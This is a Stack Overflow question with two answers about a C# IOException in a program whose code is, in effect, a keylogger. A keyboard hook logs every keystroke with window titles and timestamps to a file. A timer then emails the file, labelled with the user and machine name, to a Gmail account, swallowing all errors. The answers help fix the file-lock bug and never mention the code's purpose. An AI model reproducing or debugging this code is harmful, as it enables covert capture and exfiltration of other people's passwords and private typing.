C# System.IO.IOException occurred HResult=0x80070020

-1

New issue with my code, worked 100% last night. This morning it's giving me issues. (nothing changed)

When I run my code to send a file to Gmail, I get a

System.IO.IOException occurred HResult=0x80070020

But when I comment out the sending of the email ( see code) it works fine. I'm unsure on what happened.

Code:

public static void sendEMailThroughGmail(Object source, ElapsedEventArgs e)
    {

          try
          {
              MailMessage mM = new MailMessage();
              mM.From = new MailAddress("username@gmail.com");
              mM.To.Add("username@gmail.com");
              mM.Subject = Environment.UserName + " / " + Environment.MachineName;
              mM.Attachments.Add(new Attachment(path));
              mM.Body = "Nothing";
             mM.IsBodyHtml = true;
             SmtpClient sC = new SmtpClient("smtp.gmail.com");
              sC.Port = 587;
             sC.Credentials = new NetworkCredential("username@gmail.com", "password");
            sC.EnableSsl = true;
             sC.Send(mM);
         }
         catch (Exception)
        {

        }

        //File.Delete(path);

    }

the other part of the program that writes to the file is

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {

        int KeyCode = Marshal.ReadInt32(lParam);
        using (StreamWriter sw = new StreamWriter(path, true))
        {

                sw.AutoFlush = true;

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)


                if (!string.IsNullOrEmpty(active) && active != getTitle())
                {
                    active = getTitle();
                    sw.WriteLine();
                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");
                    sw.Write((Keys)KeyCode);

                }

                else if (string.IsNullOrEmpty(active))
                {
                    active = getTitle();
                    //sw.WriteLine();
                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");
                    sw.Write((Keys)KeyCode);

                }
                else
                {
                    sw.Write((Keys)KeyCode);

                }



        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);

    }
c#
file
gmail
asked on Stack Overflow Mar 14, 2017 by Adam • edited Mar 16, 2017 by halfer

2 Answers

0

I think it cant delete file because it is in use. Try to add "using" to dispose MailMessage object:

try
{
    using(MailMessage mM = new MailMessage())
    {
        // your code
    }
    File.Delete(path);
}
catch (Exception)
{
    // your code
}
answered on Stack Overflow Mar 14, 2017 by daniell89
0

Issue is fixed, what happened was my timer was setup wrong. I assumed the timer interval was seconds, not milliseconds.. so the timer was keeping the file to "busy". so the codes fine. thank you all for your help.

answered on Stack Overflow Mar 20, 2017 by Adam

User contributions licensed under CC BY-SA 3.0